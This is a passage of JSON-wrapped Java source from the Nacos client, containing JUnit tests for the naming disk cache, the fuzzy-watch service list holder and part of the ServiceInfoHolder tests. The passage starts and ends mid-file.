    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.File;\nimport java.io.UnsupportedEncodingException;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\n\nclass DiskCacheTest {\n    \n    private static final String CACHE_DIR = DiskCacheTest.class.getClassLoader().getResource(\"disk_cache_test\").getPath() + \"cache/\";\n    \n    private ServiceInfo serviceInfo;\n    \n    private Instance instance;\n    \n    @BeforeEach\n    void setUp() {\n        System.out.println(CACHE_DIR);\n        serviceInfo = new ServiceInfo(\"G@@testName\", \"testClusters\");\n        instance = new Instance();\n        instance.setClusterName(\"testClusters\");\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1234);\n        instance.setServiceName(\"testName\");\n        instance.addMetadata(\"chinese\", \"中文\");\n        serviceInfo.setHosts(Collections.singletonList(instance));\n    }\n    \n    @AfterEach\n    void tearDown() {\n        File file = new File(CACHE_DIR);\n        if (file.exists() && file.list().length > 0) {\n            for (File each : file.listFiles()) {\n                each.delete();\n            }\n            file.deleteOnExit();\n        }\n    }\n    \n    @Test\n    void testCache() {\n        DiskCache.write(serviceInfo, CACHE_DIR);\n        Map<String, ServiceInfo> actual = DiskCache.read(CACHE_DIR);\n        assertEquals(1, actual.size());\n        assertTrue(actual.containsKey(serviceInfo.getKey()));\n        assertServiceInfo(actual.get(serviceInfo.getKey()), serviceInfo);\n    }\n    \n    @Test\n    void testWriteCacheWithErrorPath() {\n        File file = new File(CACHE_DIR, serviceInfo.getKeyEncoded());\n        try {\n            file.mkdirs();\n            DiskCache.write(serviceInfo, CACHE_DIR);\n            assertTrue(file.isDirectory());\n        } finally {\n            file.delete();\n        }\n    }\n    \n    @Test\n    void testReadCacheForAllSituation() {\n        String dir = DiskCacheTest.class.getClassLoader().getResource(\"disk_cache_test\").getPath();\n        Map<String, ServiceInfo> actual = DiskCache.read(dir);\n        assertEquals(2, actual.size());\n        assertTrue(actual.containsKey(\"legal@@no_name@@file\"));\n        assertEquals(\"1.1.1.1\", actual.get(\"legal@@no_name@@file\").getHosts().get(0).getIp());\n        assertTrue(actual.containsKey(\"legal@@with_name@@file\"));\n        assertEquals(\"1.1.1.1\", actual.get(\"legal@@with_name@@file\").getHosts().get(0).getIp());\n    }\n    \n    @Test\n    void testReadCacheForNullFile() {\n        Map<String, ServiceInfo> actual = DiskCache.read(null);\n        assertTrue(actual.isEmpty());\n    }\n    \n    @Test\n    void testParseServiceInfoFromNonExistFile() throws UnsupportedEncodingException {\n        File file = new File(\"non%40%40exist%40%40file\");\n        Map<String, ServiceInfo> actual = DiskCache.parseServiceInfoFromCache(file);\n        assertTrue(actual.isEmpty());\n    }\n    \n    @Test\n    void testCreateFileIfAbsentForDir() throws Throwable {\n        assertThrows(IllegalStateException.class, () -> {\n            File file = mock(File.class);\n            DiskCache.createFileIfAbsent(file, true);\n        });\n    }\n    \n    @Test\n    void testCreateFileIfAbsentForFile() throws Throwable {\n        assertThrows(IllegalStateException.class, () -> {\n            File file = mock(File.class);\n            DiskCache.createFileIfAbsent(file, false);\n        });\n    }\n    \n    private void assertServiceInfo(ServiceInfo actual, ServiceInfo expected) {\n        assertEquals(actual.getName(), expected.getName());\n        assertEquals(actual.getGroupName(), expected.getGroupName());\n        assertEquals(actual.getClusters(), expected.getClusters());\n        assertEquals(actual.getCacheMillis(), expected.getCacheMillis());\n        assertEquals(actual.getLastRefTime(), expected.getLastRefTime());\n        assertEquals(actual.getKey(), expected.getKey());\n        assertHosts(actual.getHosts(), expected.getHosts());\n    }\n    \n    private void assertHosts(List<Instance> actual, List<Instance> expected) {\n        assertEquals(actual.size(), expected.size());\n        for (int i = 0; i < expected.size(); i++) {\n            assertInstance(actual.get(i), expected.get(i));\n        }\n    }\n    \n    private void assertInstance(Instance actual, Instance expected) {\n        assertEquals(actual.getServiceName(), expected.getServiceName());\n        assertEquals(actual.getClusterName(), expected.getClusterName());\n        assertEquals(actual.getIp(), expected.getIp());\n        assertEquals(actual.getPort(), expected.getPort());\n        assertEquals(actual.getMetadata(), expected.getMetadata());\n    }\n    \n    @Test\n    void testGetLineSeparator() {\n        String lineSeparator = DiskCache.getLineSeparator();\n        assertTrue(lineSeparator.length() > 0);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/cache/NamingFuzzyWatchServiceListHolderTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.naming.listener.AbstractFuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchChangeEvent;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchRequest;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchResponse;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.naming.event.NamingFuzzyWatchLoadEvent;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingFuzzyWatchNotifyRequestHandler;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashSet;\nimport java.util.Set;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static com.alibaba.nacos.api.common.Constants.FINISH_FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.ServiceChangedType.ADD_SERVICE;\nimport static com.alibaba.nacos.api.common.Constants.ServiceChangedType.DELETE_SERVICE;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\npublic class NamingFuzzyWatchServiceListHolderTest {\n    \n    NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    NamingFuzzyWatchNotifyRequestHandler namingFuzzyWatchNotifyRequestHandler;\n    \n    String eventScope = \"scope\" + System.currentTimeMillis();\n    \n    @Mock\n    NamingGrpcClientProxy namingGrpcClientProxy;\n    \n    @Mock\n    Connection connection;\n    \n    @BeforeEach\n    void before() {\n        namingFuzzyWatchServiceListHolder = new NamingFuzzyWatchServiceListHolder(eventScope);\n        namingFuzzyWatchServiceListHolder.registerNamingGrpcClientProxy(namingGrpcClientProxy);\n        namingFuzzyWatchNotifyRequestHandler = new NamingFuzzyWatchNotifyRequestHandler(\n                namingFuzzyWatchServiceListHolder);\n        when(namingGrpcClientProxy.isAbilitySupportedByServer(AbilityKey.SERVER_FUZZY_WATCH)).thenReturn(true);\n    }\n    \n    @AfterEach\n    void after() {\n    \n    }\n    \n    @Test\n    void testOnEventWatchNotify() throws InterruptedException {\n        \n        String serviceKey = NamingUtils.getServiceKey(\"namespace123\", \"group\", \"serviceName124\");\n        String generatePattern = FuzzyGroupKeyPattern.generatePattern(\"serviceName124*\", \"group\", \"namespace123\");\n        \n        AtomicInteger watcherFlag = new AtomicInteger(0);\n        namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(generatePattern, new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(FuzzyWatchChangeEvent event) {\n                watcherFlag.incrementAndGet();\n            }\n        });\n        \n        NamingFuzzyWatchChangeNotifyRequest namingFuzzyWatchChangeNotifyRequest = new NamingFuzzyWatchChangeNotifyRequest(\n                serviceKey, ADD_SERVICE);\n        Response response = namingFuzzyWatchNotifyRequestHandler.requestReply(namingFuzzyWatchChangeNotifyRequest,\n                connection);\n        Assertions.assertNotNull(response);\n        Thread.sleep(100L);\n        Assertions.assertEquals(1, watcherFlag.get());\n        \n        Response duplicatedResponse = namingFuzzyWatchNotifyRequestHandler.requestReply(\n                namingFuzzyWatchChangeNotifyRequest, connection);\n        Assertions.assertNotNull(duplicatedResponse);\n        Thread.sleep(100L);\n        Assertions.assertEquals(1, watcherFlag.get());\n        \n        namingFuzzyWatchChangeNotifyRequest.setChangedType(DELETE_SERVICE);\n        Response deleteResponse = namingFuzzyWatchNotifyRequestHandler.requestReply(namingFuzzyWatchChangeNotifyRequest,\n                connection);\n        Assertions.assertNotNull(deleteResponse);\n        Thread.sleep(100L);\n        Assertions.assertEquals(2, watcherFlag.get());\n        \n    }\n    \n    @Test\n    void testOnEventWatchSync() throws InterruptedException {\n        \n        String generatePattern = FuzzyGroupKeyPattern.generatePattern(\"serviceName124*\", \"group\", \"namespace123\");\n        \n        AtomicInteger watcherFlag = new AtomicInteger(0);\n        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(\n                generatePattern, new AbstractFuzzyWatchEventWatcher() {\n                    @Override\n                    public void onEvent(FuzzyWatchChangeEvent event) {\n                        watcherFlag.incrementAndGet();\n                    }\n                });\n        \n        String serviceKey1 = NamingUtils.getServiceKey(\"namespace123\", \"group\", \"serviceName124\");\n        String serviceKey2 = NamingUtils.getServiceKey(\"namespace123\", \"group\", \"serviceName124234\");\n        \n        Set<NamingFuzzyWatchSyncRequest.Context> contexts = new HashSet<>();\n        contexts.add(NamingFuzzyWatchSyncRequest.Context.build(serviceKey1, ADD_SERVICE));\n        contexts.add(NamingFuzzyWatchSyncRequest.Context.build(serviceKey2, ADD_SERVICE));\n        \n        //init notify\n        NamingFuzzyWatchSyncRequest namingFuzzyWatchSyncRequest = new NamingFuzzyWatchSyncRequest(generatePattern,\n                FUZZY_WATCH_INIT_NOTIFY, contexts);\n        Response responseInitNotify = namingFuzzyWatchNotifyRequestHandler.requestReply(namingFuzzyWatchSyncRequest,\n                connection);\n        Assertions.assertNotNull(responseInitNotify);\n        Thread.sleep(100L);\n        Assertions.assertEquals(2, watcherFlag.get());\n        try {\n            Future<ListView<String>> newFuture = namingFuzzyWatchContext.createNewFuture();\n            newFuture.get(100L, TimeUnit.MILLISECONDS);\n            Assertions.fail();\n        } catch (TimeoutException timeoutException) {\n            Assertions.assertTrue(true);\n        } catch (ExecutionException e) {\n            throw new RuntimeException(e);\n        }\n        //init finish notify\n        NamingFuzzyWatchSyncRequest namingFuzzyWatchSyncRequestFinish = new NamingFuzzyWatchSyncRequest(generatePattern,\n                FINISH_FUZZY_WATCH_INIT_NOTIFY, null);\n        Response responseInitNotifyFinish = namingFuzzyWatchNotifyRequestHandler.requestReply(\n                namingFuzzyWatchSyncRequestFinish, connection);\n        \n        Assertions.assertNotNull(responseInitNotifyFinish);\n        Thread.sleep(100L);\n        Assertions.assertEquals(2, watcherFlag.get());\n        try {\n            Future<ListView<String>> newFuture = namingFuzzyWatchContext.createNewFuture();\n            ListView<String> stringListView = newFuture.get();\n            Assertions.assertTrue(\n                    stringListView.getData().contains(serviceKey1) && stringListView.getData().contains(serviceKey2));\n            \n            Assertions.assertFalse(newFuture.isCancelled());\n            Assertions.assertTrue(newFuture.isDone());\n            try {\n                newFuture.cancel(true);\n                Assertions.fail();\n            } catch (UnsupportedOperationException unsupportedOperationException) {\n                Assertions.assertTrue(true);\n            }\n        } catch (Exception timeoutException) {\n            Assertions.fail();\n        }\n        \n        namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(generatePattern, new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(FuzzyWatchChangeEvent event) {\n                watcherFlag.incrementAndGet();\n            }\n        });\n        Thread.sleep(100L);\n        Assertions.assertEquals(4, watcherFlag.get());\n    }\n    \n    @Test\n    void testOnEventLoadEvent() throws InterruptedException {\n        \n        String generatePattern = FuzzyGroupKeyPattern.generatePattern(\"serviceName124*\", \"group\", \"namespace123\");\n        \n        AtomicInteger watcherPatternOverFlag = new AtomicInteger(0);\n        AtomicInteger watcherServiceOverFlag = new AtomicInteger(0);\n        \n        namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(generatePattern, new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(FuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public void onPatternOverLimit() {\n                watcherPatternOverFlag.incrementAndGet();\n            }\n            \n            @Override\n            public void onServiceReachUpLimit() {\n                watcherServiceOverFlag.incrementAndGet();\n            }\n        });\n        \n        NamingFuzzyWatchLoadEvent namingFuzzyWatchLoadEvent = NamingFuzzyWatchLoadEvent.buildEvent(\n                FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode(), generatePattern, eventScope);\n        namingFuzzyWatchServiceListHolder.onEvent(namingFuzzyWatchLoadEvent);\n        Assertions.assertEquals(1, watcherPatternOverFlag.get());\n        Assertions.assertEquals(0, watcherServiceOverFlag.get());\n        \n        NamingFuzzyWatchLoadEvent namingFuzzyWatchLoadEventDup = NamingFuzzyWatchLoadEvent.buildEvent(\n                FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode(), generatePattern, eventScope);\n        namingFuzzyWatchServiceListHolder.onEvent(namingFuzzyWatchLoadEventDup);\n        Assertions.assertEquals(1, watcherPatternOverFlag.get());\n        Assertions.assertEquals(0, watcherServiceOverFlag.get());\n        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.getFuzzyWatchContext(\n                generatePattern);\n        namingFuzzyWatchContext.clearOverLimitTs();\n        NamingFuzzyWatchLoadEvent namingFuzzyWatchLoadEvent2 = NamingFuzzyWatchLoadEvent.buildEvent(\n                FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode(), generatePattern, eventScope);\n        namingFuzzyWatchServiceListHolder.onEvent(namingFuzzyWatchLoadEvent2);\n        Assertions.assertEquals(1, watcherPatternOverFlag.get());\n        Assertions.assertEquals(1, watcherServiceOverFlag.get());\n    }\n    \n    @Test\n    void testExecuteNamingFuzzyWatch() throws NacosException, InterruptedException {\n        String generatePattern = FuzzyGroupKeyPattern.generatePattern(\"serviceName124*\", \"group\", \"namespace123\");\n        \n        AtomicInteger watcherPatternOverFlag = new AtomicInteger(0);\n        AtomicInteger watcherServiceOverFlag = new AtomicInteger(0);\n        \n        AbstractFuzzyWatchEventWatcher abstractFuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(FuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public void onPatternOverLimit() {\n                watcherPatternOverFlag.incrementAndGet();\n            }\n            \n            @Override\n            public void onServiceReachUpLimit() {\n                watcherServiceOverFlag.incrementAndGet();\n            }\n            \n        };\n        \n        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(\n                generatePattern, abstractFuzzyWatchEventWatcher);\n        Assertions.assertFalse(namingFuzzyWatchContext.isConsistentWithServer());\n        \n        //check success fuzzy watch\n        when(namingGrpcClientProxy.fuzzyWatchRequest(any(NamingFuzzyWatchRequest.class))).thenReturn(\n                NamingFuzzyWatchResponse.buildSuccessResponse());\n        namingFuzzyWatchServiceListHolder.executeNamingFuzzyWatch();\n        Assertions.assertTrue(namingFuzzyWatchContext.isConsistentWithServer());\n        \n        //check sync skip\n        namingFuzzyWatchServiceListHolder.executeNamingFuzzyWatch();\n        \n        namingFuzzyWatchServiceListHolder.resetConsistenceStatus();\n        //check over fuzzy watch pattern count\n        when(namingGrpcClientProxy.fuzzyWatchRequest(any(NamingFuzzyWatchRequest.class))).thenThrow(\n                new NacosException(FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode(), FUZZY_WATCH_PATTERN_OVER_LIMIT.getMsg()));\n        namingFuzzyWatchServiceListHolder.executeNamingFuzzyWatch();\n        Thread.sleep(1000L);\n        Assertions.assertEquals(1, watcherPatternOverFlag.get());\n        Assertions.assertEquals(0, watcherServiceOverFlag.get());\n        \n        namingFuzzyWatchContext.clearOverLimitTs();\n        //check over fuzzy watch service count\n        when(namingGrpcClientProxy.fuzzyWatchRequest(any(NamingFuzzyWatchRequest.class))).thenThrow(\n                new NacosException(FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode(),\n                        FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getMsg()));\n        namingFuzzyWatchServiceListHolder.executeNamingFuzzyWatch();\n        Thread.sleep(100L);\n        Assertions.assertEquals(1, watcherPatternOverFlag.get());\n        Assertions.assertEquals(1, watcherServiceOverFlag.get());\n        \n        when(namingGrpcClientProxy.fuzzyWatchRequest(any(NamingFuzzyWatchRequest.class))).thenThrow(\n                new NacosException(500, \"unknow\"));\n        namingFuzzyWatchServiceListHolder.executeNamingFuzzyWatch();\n        \n        //check cancel fuzzy watch\n        namingFuzzyWatchContext.removeWatcher(abstractFuzzyWatchEventWatcher);\n        when(namingGrpcClientProxy.fuzzyWatchRequest(any(NamingFuzzyWatchRequest.class))).thenReturn(\n                NamingFuzzyWatchResponse.buildSuccessResponse());\n        namingFuzzyWatchServiceListHolder.executeNamingFuzzyWatch();\n        Assertions.assertNull(namingFuzzyWatchServiceListHolder.getFuzzyWatchContext(generatePattern));\n        \n    }\n    \n    @Test\n    void testSyncWhenWatcherFail() throws NacosException {\n        \n        String serviceKey = NamingUtils.getServiceKey(\"namespace123\", \"group\", \"serviceName124\");\n        \n        String generatePattern = FuzzyGroupKeyPattern.generatePattern(\"serviceName124*\", \"group\", \"namespace123\");\n        \n        AtomicInteger watcherFlag = new AtomicInteger(0);\n        \n        AbstractFuzzyWatchEventWatcher abstractFuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(FuzzyWatchChangeEvent event) {\n                int get = watcherFlag.incrementAndGet();\n                if (get < 2) {\n                    System.out.println(\"times \" + get + \" fail\");\n                    throw new RuntimeException(\"mock exception\");\n                } else {\n                    System.out.println(\"times \" + get + \" success\");\n                }\n            }\n        };\n        \n        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(\n                generatePattern, abstractFuzzyWatchEventWatcher);\n        \n        NamingFuzzyWatchChangeNotifyRequest namingFuzzyWatchChangeNotifyRequest = new NamingFuzzyWatchChangeNotifyRequest(\n                serviceKey, ADD_SERVICE);\n        namingFuzzyWatchNotifyRequestHandler.requestReply(namingFuzzyWatchChangeNotifyRequest, connection);\n        //notify 1, fail\n        namingFuzzyWatchContext.syncFuzzyWatchers();\n        //notify 2,success\n        namingFuzzyWatchContext.syncFuzzyWatchers();\n        //notify 3 +, will not trigger watchers.\n        namingFuzzyWatchContext.syncFuzzyWatchers();\n        namingFuzzyWatchContext.syncFuzzyWatchers();\n        namingFuzzyWatchContext.syncFuzzyWatchers();\n        //expect  2 times notified\n        Assertions.assertEquals(2, watcherFlag.get());\n    }\n    \n    @Test\n    void testFuzzyWatchNotSupport() {\n        when(namingGrpcClientProxy.isAbilitySupportedByServer(AbilityKey.SERVER_FUZZY_WATCH)).thenReturn(false);\n        Assertions.assertThrows(NacosRuntimeException.class, () -> {\n            namingFuzzyWatchServiceListHolder.registerFuzzyWatcher(\"*\", new AbstractFuzzyWatchEventWatcher() {\n                @Override\n                public void onEvent(FuzzyWatchChangeEvent event) {\n                \n                }\n            });\n        });\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/cache/ServiceInfoHolderTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.client.naming.backups.FailoverReactor;\nimport io.prometheus.client.Gauge;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledExecutorService;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotSame;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\nclass ServiceInfoHolderTest {\n    \n    NacosClientProperties nacosClientProperties;\n    \n    ServiceInfoHolder holder;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        nacosClientProperties = NacosClientProperties.PROTOTYPE.derive();\n        holder = new ServiceInfoHolder(\"aa\", \"scope-001\", nacosClientProperties);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    \n    }\n    \n    @Test\n    void testGetServiceInfoMap() throws NoSuchFieldException, IllegalAccessException {\n        assertEquals(0, holder.getServiceInfoMap().size());\n        Field fieldNotifierEventScope = ServiceInfoHolder.class.getDeclaredField(\"notifierEventScope\");\n        fieldNotifierEventScope.setAccessible(true);\n        assertEquals(\"scope-001\", fieldNotifierEventScope.get(holder));\n    }\n    \n    @Test\n    void testProcessServiceInfo() {\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        info.setHosts(hosts);\n        \n        ServiceInfo actual1 = holder.processServiceInfo(info);\n        assertEquals(info, actual1);\n        \n        Instance newInstance1 = createInstance(\"1.1.1.1\", 1);\n        newInstance1.setWeight(2.0);\n        Instance instance3 = createInstance(\"1.1.1.3\", 3);\n        List<Instance> hosts2 = new ArrayList<>();\n        hosts2.add(newInstance1);\n        hosts2.add(instance3);\n        ServiceInfo info2 = new ServiceInfo(\"a@@b@@c\");\n        info2.setHosts(hosts2);\n        \n        ServiceInfo actual2 = holder.processServiceInfo(info2);\n        assertEquals(info2, actual2);\n    }\n    \n    @Test\n    void testProcessServiceInfoEnableClientMetricsTrue() {\n        ServiceInfoHolder holder = createServiceInfoHolder(true);\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        info.setHosts(hosts);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getServiceInfoMapSizeMonitor).thenReturn(mockGaugeChild);\n            \n            holder.processServiceInfo(info);\n            \n            verify(mockGaugeChild, times(1)).set(1);\n        }\n    }\n    \n    @Test\n    void testProcessServiceInfoEnableClientMetricsFalse() {\n        ServiceInfoHolder holder = createServiceInfoHolder(false);\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        info.setHosts(hosts);\n        \n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            holder.processServiceInfo(info);\n            \n            mockedMetricsMonitor.verify(MetricsMonitor::getServiceInfoMapSizeMonitor, never());\n        }\n    }\n    \n    @Test\n    void testProcessServiceInfoEnableClientMetricsNotSet() {\n        ServiceInfoHolder holder = createServiceInfoHolder(null);\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        \n        info.setHosts(hosts);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getServiceInfoMapSizeMonitor).thenReturn(mockGaugeChild);\n            \n            holder.processServiceInfo(info);\n            \n            verify(mockGaugeChild, times(1)).set(1);\n        }\n    }\n    \n    @Test\n    void testProcessServiceInfoSetThrowsException() {\n        ServiceInfoHolder holder = createServiceInfoHolder(true);\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        info.setHosts(hosts);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        RuntimeException exception = new RuntimeException(\"Mocked exception\");\n        \n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getServiceInfoMapSizeMonitor).thenReturn(mockGaugeChild);\n            doThrow(exception).when(mockGaugeChild).set(anyInt());\n            \n            ServiceInfo actual2 = holder.processServiceInfo(info);\n            \n            assertEquals(info, actual2);\n        }\n    }\n    \n    private ServiceInfoHolder createServiceInfoHolder(Boolean enableClientMetrics) {\n        Properties properties = new Properties();\n        if (enableClientMetrics != null) {\n            properties.put(PropertyKeyConst.ENABLE_CLIENT_METRICS, String.valueOf(enableClientMetrics));\n        }\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        String namespace = \"test-namespace\";\n        String notifierEventScope = \"scope-001\";\n        return new ServiceInfoHolder(namespace, notifierEventScope, clientProperties);\n    }\n    \n    private Instance createInstance(String ip, int port) {\n        Instance instance = new Instance();\n        instance.setIp(ip);\n        instance.setPort(port);\n        return instance;\n    }\n    \n    @Test\n    void testProcessServiceInfo2() {\n        String json = \"{\\\"groupName\\\":\\\"a\\\",\\\"name\\\":\\\"b\\\",\\\"clusters\\\":\\\"c\\\"}\";\n        \n        ServiceInfo actual = holder.processServiceInfo(json);\n        ServiceInfo expect = new ServiceInfo(\"a@@b@@c\");\n        expect.setJsonFromServer(json);\n        